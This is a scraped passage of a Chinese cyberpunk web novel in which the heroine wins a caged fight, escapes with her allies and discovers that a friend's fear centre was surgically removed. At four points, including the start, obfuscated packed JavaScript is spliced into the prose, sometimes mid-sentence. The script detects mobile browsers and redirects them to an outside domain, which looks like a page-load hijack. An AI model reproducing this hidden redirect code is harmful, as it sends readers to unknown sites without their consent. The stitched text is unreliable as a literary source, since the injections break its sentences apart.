d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038200|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包厢的天花板像鱼鳞一样片片翻开,数百支枪口探出,黑洞洞一片,对准了她和诺曼。 空气骤然变冷,死亡如黑云压下。 “哈。”常七爷笑着鼓掌,缓步来到林真面前,居高临下看着她:“我就喜欢年轻人,这杀意简直和大晚上开探照灯一样。海蛇,再说一遍,她是谁?” “林真,B级的脑子,上个月底拆的一个,指挥型的。”海蛇提醒道。 “那看起来我们拆错人了呢。代替你的人是谁?” “我,姐,姐。” 三个字,好像突然给了她力量。她强行压下身体的颤抖,拔出腰间的匕首,一记上挑,直刺常七爷眼窝! “锵——” 匕首半路被常七爷的手指夹住。皮肤被割破,露出里头金属的指骨来。 常七爷手腕一转一扭,匕首就脱离了林真的手,刀刃反过来对准了她的眼睛。 “太慢了。光有杀意可不够啊,小姑娘。” 楼下,突然爆发一阵震耳欲聋的声浪。 拳台上,“暴熊”的双臂已被折断,胸口的伤口再次撕裂。 “野人”抓住伤口的皮肉,一把扯开,右手的合金钻头深深刺进了“暴熊”的胸膛,掏出一颗鲜红的心脏。 心脏在他手里抽动了一下,泵出最后一点血。 “野人”把高高心脏举起,用力捏爆。 观众席为这鲜血淋漓的一幕沸腾了。 “野人!野人!野人!”他们大喊着。 常七爷侧耳听了一会儿,勾起嘴角:“不错,看起来我们的新拳王已经出现了。把她带下去吧,给我们的新拳王加点添头。” “七爷!”诺曼上前一步,挡在林真面前:“看在我的面子上!” 常七爷用手里的匕首拍了拍诺曼的面罩:“N,你还没有接替维斯佩的位置呢。你没有面子。” “我把货还给你!” “太迟了。用那些货换你的小命吧,还有我的信任。海蛇,带她下去。告诉我们的观众们,有好戏看了。” 拳击场特意造成了古罗马斗兽场的样子。拳击台在正中升起,被钢化玻璃罩子罩住。 玻璃笼,二人进,一人出。 主持人的声音在场地里回荡: “哇哦,为了庆祝新拳王的诞生,常七爷今天为大家准备了超规格的庆祝表演赛!前所未有的大手笔!我们今天的祭品羔羊——是B级的!B级!我的天呐,我的心脏病都要犯了。感谢七爷,我们的大龙头,这是我这辈子都没有见过的级别,大家呢?让我们喊出来,我们要做什么?” 拳击场里,观众们都站了起来。 林真被海蛇架着,带到了玻璃笼外。 她抬起头。 拳击台上方的三百六十度大屏幕上,交替播放着她的脸和观众们的回应。 她的嘴唇颤抖,眼神慌张。她的眼睛是软弱。 观众们面目扭曲、发红,他们大喊着,狂喜着,高举着拳头。 震耳欲聋的呼声从四面八方扑面而来,如浪潮压顶。 他们在喊: “拆了她!” “拆了她!” “拆了她!” 林真的身体一颤。 可她越恐惧,豺狼们就越兴奋。 比黑马更让人兴奋的,是高高在上的人跌落尘埃。毕竟,对观众来说,黑马再好也不是自己,但是尘埃,一直在他们脚下。 他们迫不及待要见证一个B级脑子的死亡。 “进去吧。”海蛇狞笑道。 林真深吸一口气,脱下碍事的机车服,叠好放在地上。 然后,她站起身,脊背慢慢挺直,走入笼中。 32. 龙头(三) 拳台的玻璃罩子削弱了观众的声音,却让另一个声音变得更加清晰。 那是“野人”的呼吸声。 粗重,残忍,恐怖。 林真背靠在玻璃罩子上,一边盯着“野人”,一边小心地移动。 “野人”比诺曼还高很多,狮鼻阔口,浑身肌肉虬结。他的右手自肘部以下是一个合金钻头,正不断分开合拢,“咔咔”作响。 他晃了晃脑袋,露出一个轻蔑残忍的笑容。 “B级的脑子?七爷还真是待我不薄。” 他说完,大步向林真走来。 圆形的拳台,并不容许林真躲避太多。 她握住皮带上的匕首。被带离包厢前,常七爷把匕首还给了她。这绝非希望或者怜悯,而是为了比赛的趣味性。因为武器会进一步激发这些拳手暴虐的欲望。 她缓缓抽出匕首。 包厢内,常七爷摇着手里的酒杯,回头看了诺曼一眼,笑着点评道:“有点血性。不过我赌你的小女朋友,连‘野人’的皮都扎不破。” 诺曼被枪口锁定着,站在原地。他见识过这个机关,只要他敢动一下手指,天花板上所有的枪就会瞬间开火。 他咬紧牙关。 这是一场单纯的虐杀,林真没有一点点胜率。 她唯一的生路,是动用她的能力。 可如果她用了那个能力,无论是让“野人”停下,还是控制“野人”自杀,她都会暴露在常七爷眼里。她会是一把多么好的刀,她会是一件多么好的商品。她将彻底成为黑街的一部分,无论死活,她再也回不去了。 可谁能知道,两周之前,她还是一个没有见过血的女孩。 黑街将所有人熔化重炼,然后将他们砸成齑粉。 林真无能为力。 他也无能力为。 “您要怎样,才能放了她?”他低下头,问道。 常七爷抿了一口酒,懒洋洋道:“小伙子不要死心眼,你跟了我,女人到处都是。” “她是一个B级的脑子!” “B级的脑子也有嘛。我刚弄到一个运动增强型的,以后让你们俩多亲近亲近。”常七爷的手指点了点扶手,目光往拳台后场一瞥。 拳台后场有不同规格的休息室,这里是规格最高的几间之一。空气里弥漫着舒缓剂的味道,架子上放满了提神和治疗药剂。哪怕是曾经的拳王“暴熊”,登台的第一年都没资格进来。 可房间里的人,舍弃了舒适的沙发床和按摩椅,抱膝坐在角落里,身上沾着干涸的大片血迹。 与其说是被看重的拳手,她更像一个囚徒。 休息室的光幕里,正播放着拳台上的画面。“野人”的合金钻头打掉了林真的匕首,割伤了她的手腕。 囚徒抬起头,眼神在林真的脸上停了片刻,眼珠动了动。 良久,一个漠然的声音响起: “林,真。” 林真并不知道有人在念叨她。她浑身上下都紧绷着,死死盯着“野人”的合金钻头。这个钻头可以发射出来,就像是捕鲸用的鱼叉。 “野人”打定了主意要好好享受这场奖励,并不急于解决她。在打掉她的武器后,钻头只是一次次划过她的手臂,割开一条条伤口。 观众看着林真又逃得一命,集体发出了嘘声。 “野人,干她啊——” “磨磨唧唧,你是娘们儿吗?!” “你是不是不行啊?” “野人”转头,对着观众席发出一声暴烈的吼叫,手里的钻头再次飞旋而出。 钻头划过林真的肋下,切开一道长长的口子。 林真只感觉身体一空,腿一软就跌倒在地上。紧接着,剧烈的疼痛才传来。她的视线一瞬间模糊,只能看到野人似乎在向她走来。 她应该避开的。可她似乎是被吓到了,也许是绝望了,接受了自己的命运。 她坐在地上,竟然闭上了眼睛。 “啊!这一场比赛是不是要结束了呢?我们准备好看到一位B级的死亡了吗!”主持人大喊道。 “野人”手里的钻头开始高速旋转。观众们屏住了呼吸,脸色涨红。 休息室,抱着膝盖的人突然站起身,推门而出。 门口值守的打手愣了一下,小心地问道:“您怎么出来了?还没到您的比赛呢。” 一抹刀光闪过。 打手捂住脖子,软软地倒了下去。 那人抬起头,走廊的灯光照亮了她的脸,还有一双丹凤眼。 “妈妈,如果一开始献祭的就是我,这一切是不是都不会发生?” 她低声问道。 拳台上,林真默念“Escape”。 黑色的世界笼罩了“野人”的脑子。她可以杀死他,就像杀死癞头蛇一样。可众目睽睽之下,她需要做得更隐蔽。 “野人”叫她想起了绿曼巴,想起了绿曼巴是怎么死的。 她轻轻勾动“野人”运动皮层的下方,那里连接着右手。她不干扰“野人”的动作,反而推了对方一把。 抬手,甩臂,肌肉紧绷如钢铁。钻头尖啸着飞出,带着无匹的力道和极高的速度,擦过林真的肩头,然后死死钉进地里。 在所有人都看不到的地下,钻头上的所有金属刀片张开,卡死在水泥和钢筋之间。 林真豁然睁眼。 她踉跄起身,开始向着“野人”奔跑。 “野人”正用力拉扯着钻头。他刚才过于激动了,一时失了手。见林真跑过来,他不怒反喜,左手一拳打出。 林真一矮身,从他的拳头下钻过,扑进他怀里。右手拔出发簪,戳在“野人”肋下。 不过是一根木头簪子。“野人”不以为意,抬手就要去抓林真的肩膀。 下一刻,他感受到一点刺痛。合金针向着他的身体里探去。 “野人”大喝一声,抓住林真,提起她就往旁边一甩。 林真撞在玻璃墙壁上,一头长发披散下来,紫色的发丝在灯光下熠熠生辉。 “野人”发出让人毛骨悚然的威胁和嚎叫,可她听不清,也毫不在意。 她喘着粗气,靠着墙壁坐起身,哑声开口。 她的声音响被同步到整个拳击场: “TTX,你们知道那是什么吗?我看,在座的诸位,都没有那个脑子吧?” “一群,野蛮人……你也是,野人。你有感觉到什么不对的地方吗?你的嘴唇麻木吗?手脚是不是,像针扎一样?你少一只手,可能比正常人迟钝。” 野人大喝一声,奋力扯断右手的钢索,向林真走来。 林真看了他一眼,接着说: “你的嘴唇僵硬,你的动作变慢,你感觉呼吸困难,手脚不听使唤。你会摔倒在地——” 她的话音刚落,野人的膝盖一弯,跪倒在拳台上。 可林真没有停下,“你会呼吸麻痹。” “野人”用力按住胸口,嘴巴大张,发出巨大的吸气声。 “你会死。”林真一锤定音。 “野人”轰然倒地,左手用力向前伸出,似乎还想要抓住她,把她撕成碎片。 可他再也做不到了。 林真扶着墙壁缓缓起身,右手因为脱臼软软地垂着。 她很慢地走了两步,一脚踩上“野人”的左手,抬起头。 大屏幕里映出她的脸。她的头发散乱,但她的眼睛亮如星子。 她笑起来,举起左手,竖起中指,踩在“野人”的手上转了一圈,如同芭蕾剧的谢幕。 “听好了,在座的诸位,你们都是垃圾。”她笑着说。 整座拳击场默然无声。 从没有祭品羔羊能够活下来,她们的哭声和惨叫历来是新拳王的加冕仪式。 可如今,野人躺着,她站着。在野人庞大的身躯上,她是那么的纤细瘦弱。 像是一只蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046583|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝶,征服了一座山。 林真看向入口外的海蛇,嘴角勾起: “还有谁?叫他们上来。” 她明明手无寸铁,伤痕累累,海蛇却退了一步。 这一退,他撞上了一个人。 那人一把推开他,走到拳台下。 哪怕她剃光了头发,脸上手臂上满是血迹和纱布,林真还是认出来了。 那是安恬。 最顶层的包厢里,常七爷的声音失去了一贯的平静:“A,给我杀了她,我就放了收养院的孩子。” 安恬的手指间,刀片闪烁着不详的光芒。 她沉默地来到拳台入口,打开玻璃门。 风从外头吹进拳台。 曾经靠着睡觉的两个人,现在一个在门里,一个在门外。 大屏幕上跳出血红色的‘加赛’字样,随即定格在林真与安恬的脸上。 林真深深地看了一眼摄像机。 诺曼对上了这个眼神。 他突然动了。 他猛然冲向展柜,紧随而来的子弹打碎了展柜的玻璃。他的脚步趔趄了一下,在摔倒前伸手抓住了展柜的边缘,然后拉出头发里的接线,尽力伸长手臂,将连接线末端插入包厢的控制面板。 天花板上,正在开火的枪口同时一滞,然后齐齐转动方向,指向了包厢的玻璃幕墙。 常七爷悚然回头,翻下躺椅,连滚带爬地躲进墙角。 弹雨打在玻璃上,打出密密麻麻的白点。可那是最好的防弹玻璃,怎么可能打得破。 可诺曼冷冷一笑,一拳打碎展柜,从里面掏出一颗合金心脏。 他在心脏上一按,仿生的肌肉和血管里就亮起蓝色的光芒。 他看着常七爷,将心脏狠狠砸向玻璃墙壁。 合金心脏轰然炸开,将墙壁轰开一个大洞。 诺曼紧随其后,在翻倒的躺椅上一踩,从洞里一跃而出,坠入下方的人群之中。 弹雨追着他落下,打在观众席上。一时间,惊叫四起。 包厢爆炸的那一刻,海蛇下意识要去关拳击台的玻璃门。 可安恬就站在那里,她单手挡住了门。 “你要造反吗?”海蛇眼睛一瞪,能力瞬间对准了安恬。 但安恬完全没有受到影响。她手指一动,一片薄刃刀片就从她指间飞出,轻巧地刺进海蛇胸口。 海蛇捂着胸口连退几步。等他再想去关门时,已经来不及了。 安恬拉住林真的手,带着她跳下了拳台。 此时的观众席已经成为失控的人海。逃命的观众推推挤挤,整个拳击场乱成一团。 海蛇额角青筋直跳,眼前一阵恍惚。等他回过神,林真和安恬已消失在人群中。 “走这边!” 林真的手臂猛地被另一只手抓住。她回头一看,是诺曼。她点点头,反手拉住安恬。 三人在混乱中穿行,挤出人群,冲出拳击场,进入黑暗的小巷。 一辆老旧的灰色轿车停在巷子里。 诺曼一巴掌拍在轿车的玻璃上,把里头的莫恕吓得一个激灵,赶紧打开车门。 “我靠你们真出来啦?这位又是谁?” 安恬手里的刀片“唰”地按在了莫恕的颈侧,“开车!” “开开开!”莫恕赶紧一踩油门。 轿车弹射出去。 诺曼一个没坐稳,跌倒在林真的肩膀上。 林真放下装着芯片的夹克,咬牙推他:“我右手脱臼了……你行行好,自己起来吧。” 可身上的人没有动。 林真低头看去。 诺曼侧靠着她的肩,闭着眼睛像是睡着了。 林真突然看向车窗。刚才诺曼拍过的地方,留下了一个完整的血手印。 她心头一紧,左手赶紧探到诺曼鼻子下方。 虽然微弱,但他还在呼吸。 谢天谢地,他还活着。 33. 篝火(一) 轿车在一栋二层楼旁急转弯,钻进一个断头巷,在撞上墙壁前”嘎吱“一声刹住。 林真赶紧用脚抵住前座,单手抱住诺曼,不让他滚下座椅。 她看了一眼车窗外。车子贴着墙皮,她估摸着自己都挤不出去,更别说抱着诺曼了。 “莫恕,我们为什么停在这里?”她问道。 莫恕已经关了车灯,拉上手刹。他在座椅底下摸索了一会,掏出一个遥控器,对着墙壁一按。 墙壁上,一道门缓缓划开,正对着车门。 “欢迎来到我家。”莫恕拔下钥匙,从驾驶座下来,帮林真拉开车门,看了一眼昏迷的诺曼,说:“你抱着脚,我来抱头。” 林真有些犹豫:“莫恕,他需要医生。” “我就是医生呀。”莫恕指了指自己,“我家里什么都有,诺曼也不是第一次伤成这样了。你换个黑诊所,转头就把你卖了,真的,我好多货就是这么来的。” “你有行医执照吗?”林真不依不饶。 莫恕挠挠头:“你转过来。” 林真依言照做,下一秒就被莫恕按住了右肩。莫恕拉着她的右胳膊,一拉一转。 林真只听到自己的肩关节“咔哒”一声,就听到莫恕说:“好了,你动一下看看。” 她小心地动了一下胳膊,还有一些酸涩无力,但的确是复位了。 “看吧,说了我也算个医生吧。”莫恕一脸骄傲。 他们把诺曼抬进了屋子。 暗门在他们身后合拢,将黑街的夜色关在外头。屋子里的灯亮起来。 一楼是打通的,地上铺着防潮布,空气里弥漫着消毒水的味道。靠着墙壁用塑料帘子隔出了几个小单间,里头是简陋的手术台。玛莎正躺在其中一间里,带着氧气面罩,身上连着粗粗细细的管子。 这时,楼梯上传来杂乱的脚步声。桃子带着收养院的小孩子们小心翼翼地从楼上下来。看见伤员,她连忙挡住小孩子们,”嘘“了一声,安静地退回了楼梯口。 小孩子们像是万圣节的南瓜一样,在台阶上排排坐好,扒着楼梯栏杆偷看。 林真和莫恕一起把诺曼抬进手术室,放在手术台上。 莫恕从工具推车上拿起一把剪子,从中间剪开诺曼的上衣。 “伤口在背后,没有穿透,我就说这家伙命大。来,帮我把他翻个身。” 林真扶住诺曼的肩膀,将他抬起。刚复位的右手吃不得力,传来一阵钝痛。 据说昏迷的人比平时更沉,因为他的灵魂用力扒着身体。 林真希望他更沉一点。 她忍着疼,配合着莫恕,把诺曼轻轻放平,然后捏住衣角,一点点往下揭。布料和血肉粘连,每撕一下都像扯下一层皮。 林真摸到潮热的血,手指一颤,下意识去看诺曼的脸。 “长痛不如短痛哈,要不我来?”莫恕伸手过来,跃跃欲试。 林真挡开他的手,“我来。” 沾血的布料一片片垂下来,露出诺曼苍白的后背,还有黑红色的、又开始冒血的弹孔。 林真正想去拿医用手套,就被莫恕拦住了。 莫恕指了指她的手臂和腰部的伤口,“你不疼吗?出去休息吧。” 林真摇摇头,“我比较能忍疼。” 莫恕翻了个白眼,翻出一个应急包塞进她怀里。 “你这种人,嘴上说着没事,其实最容易‘哐叽’一下晕菜了,到时候我都不知道先救你还是先救他。反正我要剪裤子了,你要不参观一下?诺曼还是很——” “不用!” 林真抱着应急包,退出手术室。 里头,莫恕哈哈大笑,一边把浅蓝色的塑料帘子拉紧,用夹子从上到下固定住。 桃子迎上来,接过了林真手里的应急包。耗子跟着她,拖着把和他差不多高的椅子,“吭哧吭哧”来到林真身旁。 “姐姐坐。” 林真摸了摸耗子的头。 林真在收养院教过最基础的包扎,桃子是学得最好的。她把纱布反复折叠成巴掌大一片,倒上酒精。 “林真姐姐,我碰了啊。”她忐忑地问。 林真给了她一个鼓励的微笑,眼神又落回手术室的帘子上。 灯光在塑料帘子上照出鱼鳞样的反光,模糊了里面的场景。隔着帘子,她只能看到里头人影晃动,听到医疗用具放入金属托盘的轻响。 那响声,如同下雨。 她异常专注地听着,借以忽略酒精带来的灼烧感。 过了一会儿,桃子在她面前蹲下,“林真姐姐,你的腰。” 林真的腰上被合金钻头划开一个大口子,皮肉外翻,泛着白,像一张大张的嘴巴。 桃子只看着,就觉得疼,手下几乎不敢用力。 手术室里,金属碰撞声越来越大,越来越急。鲜血溅上帘子,变成一片紫色。林真突然站起身。 “直接倒吧。”她说。 她左臂支在椅子上,整个人斜靠着,将伤口朝向上方。耗子乖觉地抱住了椅子背,防止椅子滑走。 林真的腰很薄,那伤口几乎横贯了腰侧。让人怀疑如果再往里一点,这腰会不会就直接断了。 桃子颤抖着手,将酒精瓶子靠近伤口。她咽了一口唾沫,把瓶子举高,然后猛地一倾。 林真的脊背瞬间崩紧,左手紧握成拳,从嘴里发出一声闷哼。 酒精带着血水沿腰腹流下,“噼里啪啦”地溅落在防水布上,一时间盖过了手术室里的声音。 很疼。但林真觉得很好。担心可以转移疼痛,疼痛也可以掩盖担心。 手术室里,诺曼的眼皮一颤。 “我建议你晚点醒啊,”莫恕手下不停,又是一针下去:“麻药不够了,你晕着我比较好下手。” 诺曼没有说话,颤颤巍巍竖起右手中指。 莫恕翻了个白眼,把他的手按了回去,“三发子弹啊,穿透性软组织伤,肋骨骨裂,还有点气胸——哦,你腿上还挂了一发,差一点擦到动脉。要我说吧,你这命是真硬,吃钢板长大的吧。” “子弹都取出来了,肺给你补好了,肋骨你就自己养着吧。累死我了。记得付钱。” 诺曼发出一点模糊的声音。 莫恕扯下手套,把耳朵凑近他的面罩:“迟早憋死你,说啥呢在?” “……她怎么样?” 莫恕“嘿”了一声,“人家至少是走回来的,不像你,是被人家抬回来的,啧啧。” 他挨个摘下金属夹子,刚拉开门帘,就对上林真担心的目光。 这味儿实在酸臭无比,莫恕玩心顿起,道:“里头母子平安哈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053462|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊?”正在给林真腰上缠纱布的桃子疑惑抬头。 “一胎四个,都强壮极了,扔我那手术盘里‘叮当’作响的,头铁,长大一定了不得。” 桃子更疑惑了。 “他是说取出了四颗子弹。”林真低头给她解释。 “嘿,你这人不好玩儿,太正经了。”莫恕脱下手术服,走过来:“他怎么整成这么个筛子样?” 林真回忆了一下:“常七爷的天花板上的枪阵。” “那是个壮士了。你又是怎么回事?” 林真不欲多说,简单道:“拳台。” 墙边,安恬走出阴影,突然开口:“她干掉了‘野人’,新的拳王。” 莫恕的荧光大脑“扑灵”一下大放光芒,“失敬,原来您才是真的壮士!” 林真看向安恬。 除了在拳台上那一句“跟我走”,安恬就没有再说过话。那个平时抠抠索索的、在玛莎病倒后扛起整个收养院的、生气起来会跺脚骂人的女孩好像在一天之内就消失了。 只剩这个瘦削高挑、穿着皮衣、剃着光头的陌生人,面无表情地走过来。 身旁,桃子后退一步,握紧了拳头。 林真注意到她的异常,“桃子,怎么了?” 桃子瞪着安恬,“她杀了铁棍,我看到了。” 楼梯上,睡成一团的小孩子们被惊醒了,迷迷糊糊望地揉着眼睛望过来。 林真按住桃子的肩膀,“先让他们上楼睡觉。有什么话,待会下来说。” 一楼,灯光昏黄。 林真的鼻子已经习惯了酒精和血腥味,再也闻不出什么味道。 莫恕撤走了地上的防水布,拉来两张半新不旧的床垫。 诺曼盖着一张床单,一个人趴一张。 林真坐在另一张的中间,左边是安恬,右边是桃子。 莫恕抱着医药箱坐在地上。 一盏太阳能提灯放在他们中间。灯光一闪一闪,像一炉橘黄色的篝火。伤号们左手一管抗生素,右手拿着生科出品的治疗针,嘴巴里叼着两管草莓味的营养剂,从身体到心灵都受到了安慰。 林真两口喝完营养剂,转头问桃子,“你说安恬杀了铁棍,是怎么回事?” “她杀了,我看见她杀了。” “会不会有什么误会?比如说是别人假扮她?” 林真的话音还没落下,两个声音同时响起。 “我看见了!”这是桃子,情绪激动。 还有一个是安恬,语气平静:“对,我杀的。” 安恬抬起手,指缝间的刀片一闪,“用的是这个。” 桃子发出一声呜咽。 安恬看着她,递上刀片:“你要我赔命吗?” 林真一手抓住安恬,一手拦住桃子,感觉自己身上的伤口,有一个算一个,今晚都得崩开。 “哒哒,哒哒哒” 这时候,诺曼敲了几下地面,示意自己也有话要说。 “诺曼,伤成这样,你别添乱了。”林真无奈。 “……绿曼巴。”诺曼嘶哑开口。 “绿曼巴不是早就死了吗?”莫恕凑到诺曼身边,拿手去晃他的眼睛:“他是不是在发烧?说胡话了都?” “蠢货。脑子。”诺曼道,“她的脑子。” 34. 篝火(二) 林真默念“Escape”,打开了意识世界,看向安恬。 安恬的脑子是安静的米黄色,像是清晨的沙滩,连海浪都沉默着。而绿曼巴的脑子是深绿色,里面充满了尖叫和狂笑。 林真看了又看,实在没有发现她们有任何相似之处。她正要切断意识世界,目光突然一凝。 在米黄色光团的两侧,大脑内侧颞叶深处,有两块小小的杏仁形状的灰色空洞。 她似乎曾在绿曼巴的脑子里见过一样的空洞,只是当时并没有在意。 她想起离开拳台的时候,海蛇拦在她们身前,使用了那会让人感到恐惧的能力。可安恬完全没有受到影响,她甚至没有表现出一丝恐惧。 一个猜测出现在林真脑海。 她突然拿起安恬手中的刀片,直刺向安恬的右眼。 寒光一闪。 莫恕“啊”了一声,跌坐在地上。 可安恬的瞳孔没有一点收缩,眼睑纹丝不动,连呼吸都没有变。 她只是盯着刀锋上的反光,直到刀尖在眼球前停下。然后,她平静地看向林真,慢慢眨了一下眼,睫毛擦过刀锋。 莫恕大为震惊:“嚯!她不会怕的吗?” “……绿曼巴。”诺曼再次提醒。 莫恕从地上爬起来,若有所思地挠了挠头,恍然大悟:“我一直听说常七爷有一个手段,能训练出没有恐惧的打手。他们没有恐惧,不会后退。最成功的一个,就是绿曼巴。这位……” “安恬。”林真道。 “这位安恬,她的脑子怎么样?” 绿色的脑子比蓝色紫色的脑子好,黄色的脑子想来更胜一筹。 “应该比绿曼巴好。” “光是脑子好还不够,大概率她也是运动型的。” “什么是运动型?” 莫恕沉吟片刻:“有的人记忆力好,有的人对情绪敏感。另外有一部分人,反应快,动态视力好,这些我们就说是运动型,是天生的打,啊不……战士。” 林真很确定他想说的是“打手”。 她把刀片放回安恬手心。 安恬手指一错,刀片就在她的手指间翻飞。刀随心走,她是天生的战士。 不。林真垂眸,不完全是天生的。 她揭开安恬额角的纱布。在两侧太阳穴旁,靠近发际线的地方,赫然是一抹极细的手术刀口。 大脑内侧,颞叶深处,那里是杏仁核。 杏仁核受损或者切除,人就不再能感受到恐惧和害怕。情绪变得迟钝,愤怒、喜悦、厌恶都被封存起来,只剩下一种淡漠的安静,就像安恬现在这样。 “我应该杀了常七的。”她低声道。 安恬歪了歪头,抬手放上她的头顶,揉了揉。 林真握住她的手腕,打断她的动作:“安恬,看着我,你为什么要杀铁棍?” “他要死了。他们拿走了他的器官。”安恬平静地回答。她就像在说“今天下雨了”,或者“不好好睡觉的小孩子会被黑街抓走”。 “安恬,如果他想活呢?” “他活不下来。” 牢房的对面,是手术室的玻璃幕墙,就像一道橱窗,向囚徒们展示着他们的结局。 十二个孩子,常七爷带走了一个,看守带走了一个,医师又带走了一个。 拳台,看守室,手术室。 他们每一个在走之前都说: “姐姐会回来的,不要怕。” “哥哥会回来的,不要怕。” 当桃子从看守室被拖回牢房的时候,她看到一个熟悉又陌生的人影。那个人站在手术室里,剃着光头,穿着皮衣,身上带着血迹。 她看到那人的手放在铁棍的脖子上,她看到铁棍露出惊恐的眼神,她看到鲜血喷涌而出。 她连撕带咬地挣脱守卫,扑在玻璃墙上。 杀人者回过头来。 炽白的灯光照亮了那双眼睛。 那双熟悉的、了不起的、被所有孩子信赖的丹凤眼。 她曾经望着那双眼睛,崇拜地问:怎样才能像姐姐一样厉害呢? 那双眼睛笑意盈盈,带着笃定和期待告诉她:等桃子长大一点就行,等桃子长大,一定行。 这就是故事的全部了。 这就是全部的故事。 桃子伏在林真腿上,咬着拳头,压抑着哭声,整个人颤抖着。 另一侧,安恬望着提灯的光芒,转着手里的刀片,脸上没有一丝动容。 “有办法吗?你手上有没有什么义体杏仁核?”林真问莫恕。 “哇哦哇哦,你这个想法犯法的哦。” “我以为黑街的人每天都在犯法。”林真不解。 “那些都是洒洒水啦,上头懒得管。但这可是联邦三大法——”莫恕蹲在地上,打量着她,“你不会是个法盲吧?听好了,不得制造任何义体大脑,哪怕是零部件也不行。” “其他两条呢?” “第一条,好像是说大家的脑子都是联邦的?” 林真挑起眉毛,“还有一条呢?” “嘿,我又没说我不是法盲。”莫恕咧嘴一笑,拍拍膝盖站起来,“我去把温度调高一点,该睡了。” 二楼依旧是打通的,中间用床单铺出了一个临时的大通铺。层层叠叠的床单下是好几层防水布,隔开了水泥地的潮气。小孩子们已经分成两排,头对着头睡着了。女孩子们挤在一床被子里,男孩子们则盖着叠起来的床单。 桃子往铺盖里面挪了挪,眼巴巴地看着林真。 “睡不着?”林真问她。 桃子点点头。 林真在最外头合衣躺下,就像在收养院里一样,挡住从楼梯吹来的风。 桃子把身上的被子掀开一角,小心翼翼盖到林真身上,又往里头挤了挤,避开她手臂上的绷带。 “没事。” 林真伸出手,轻轻搭在桃子的手臂上,“睡吧。” 她本来打算等桃子睡着了,再下楼去看看安恬和诺曼。可在小孩子们细碎的呼吸声里,在温暖的被子下,她不知不觉也睡了过去。 在睡着前一刻,她似乎又听到了风声。 风吹动收养院屋顶上的帆布,发出“呼——呼——”的声音。有人掀起帘子,帮她掖好被角。 有祷词从黑暗中传来: “请保佑他们,在您的庇护下给他们一个安宁的夜晚。阿门。” 林真醒来的时候,屋子里还是一片昏暗。 莫恕家里所有的窗户都是封上的。这在黑街其实并不少见。如果不把窗户缝上,明天起来你就没有窗户了,这是莫恕的原话。 身旁,桃子动了一下,小声咕哝了一句梦话。耗子和塞克在咂吧嘴,似乎在怀念草莓营养液的味道。 林真小心翼翼地掀开身上的床单,拎起鞋子,光着脚走下楼。 提灯还在屋子中央,只是光线已经非常微弱,像是快要烧尽的炭火。 安恬坐在屋子的角落里,抱着膝盖,把脸埋进臂弯里。 莫恕板板正正地躺在手术台上,身上随便盖了件用过的手术服,还带着血迹。 他们这些人,好像是有着不同习性的小动物,在这间屋子里,各自找到了一块小小的舒服的位置。 在这狭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058823|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的屋子里,昏黄的灯光下,他们互相看顾,互相守望。 林真走到诺曼前面,在地上坐下。 为了防止压到伤口,诺曼是趴着睡的。他依旧没有摘掉面罩。 听说趴着睡的人,一定会流口水。也不知道这个人的面罩里,现在是不是泛滥成灾。 林真想了下诺曼掀开面罩放水的情景,不由得勾起嘴角。她起了点坏心思,伸手贴在诺曼嘴唇的位置,轻轻碰了一下。 就在她指尖落下的那一刻—— 诺曼睁开眼睛。 他们四目相对。 林真的手还没来得及收回来。 诺曼的眉头缓缓蹙起。 屋子里安静极了,提灯的灯光晃了一下。 诺曼动了一下脸,顶开她的手指。 那张不知道是什么材质的面罩薄得过分。林真清晰地感受到嘴唇的突起滑过她的手指。那金属带着热度,把她的手烫得一抖,心头也漫上一阵窘迫慌乱。 也许诺曼还在发烧,她想。 一想到这里,她赶紧撩开诺曼的头发,用手背在他额头上贴了一下,再贴一下自己的额头。 温度差不多,没有发烧。她松了口气。 诺曼始终看着她,等她终于放下手,突然开口: “早安,骇客小姐。” 林真怔了一下,对上诺曼的目光。诺曼的虹膜是深棕色的,在昏暗的灯光下,几乎和瞳孔浑然一体。 那些被压下的窘迫慌乱汹涌而来。她撇开脸,小声道: “早安。” 她说完,下意识看了诺曼一眼,就看到那双深色的眼里,缓缓浮出一点什么。 仿佛湖水轻轻荡开,漾出一圈微光。 